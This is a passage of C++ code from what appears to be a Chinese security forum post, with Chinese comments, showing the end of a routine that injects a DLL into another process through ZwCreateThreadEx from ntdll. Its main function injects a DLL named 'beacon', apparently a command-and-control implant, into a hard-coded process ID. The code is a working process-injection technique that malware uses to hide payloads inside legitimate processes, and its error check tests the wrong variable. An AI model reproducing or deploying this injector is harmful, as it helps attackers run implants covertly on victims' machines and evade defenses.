  70.     {
  71.         ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
  72.         return FALSE;
  73.     }

  74. #ifdef _WIN64
  75.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  76.         PHANDLE ThreadHandle,
  77.         ACCESS_MASK DesiredAccess,
  78.         LPVOID ObjectAttributes,
  79.         HANDLE ProcessHandle,
  80.         LPTHREAD_START_ROUTINE lpStartAddress,
  81.         LPVOID lpParameter,
  82.         ULONG CreateThreadFlags,
  83.         SIZE_T ZeroBits,
  84.         SIZE_T StackSize,
  85.         SIZE_T MaximumStackSize,
  86.         LPVOID pUnkown);
  87. #else
  88.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  89.         PHANDLE ThreadHandle,
  90.         ACCESS_MASK DesiredAccess,
  91.         LPVOID ObjectAttributes,
  92.         HANDLE ProcessHandle,
  93.         LPTHREAD_START_ROUTINE lpStartAddress,
  94.         LPVOID lpParameter,
  95.         BOOL CreateSuspended,
  96.         DWORD dwStackSize,
  97.         DWORD dw1,
  98.         DWORD dw2,
  99.         LPVOID pUnkown);
  100. #endif

  101.     //获取ZwCreateThreadEx函数地址
  102.     typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");

  103.     if (NULL == ZwCreateThreadEx)
  104.     {
  105.         ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
  106.         return FALSE;
  107.     }
  108.     // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
  109.     dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
  110.     if (NULL == ZwCreateThreadEx)
  111.     {
  112.         ShowError("ZwCreateThreadEx - Error!\n\n");
  113.         return FALSE;
  114.     }
  115.     // 关闭句柄
  116.     ::CloseHandle(hProcess);
  117.     ::FreeLibrary(hNtdllDll);

  118.     return TRUE;
  119. }

  120. int main(int argc, char* argv[])
  121. {
  122. #ifdef _WIN64
  123.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
  124. #else
  125.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
  126. #endif
  127.     if (FALSE == bRet)
  128.     {
  129.         printf("Inject Dll Error!\n\n");
  130.     }
  131.     printf("Inject Dll OK!\n\n");
  132.     return 0;
  133. }
复制代码


回复

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-12 20:18 , Processed in 0.028125 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表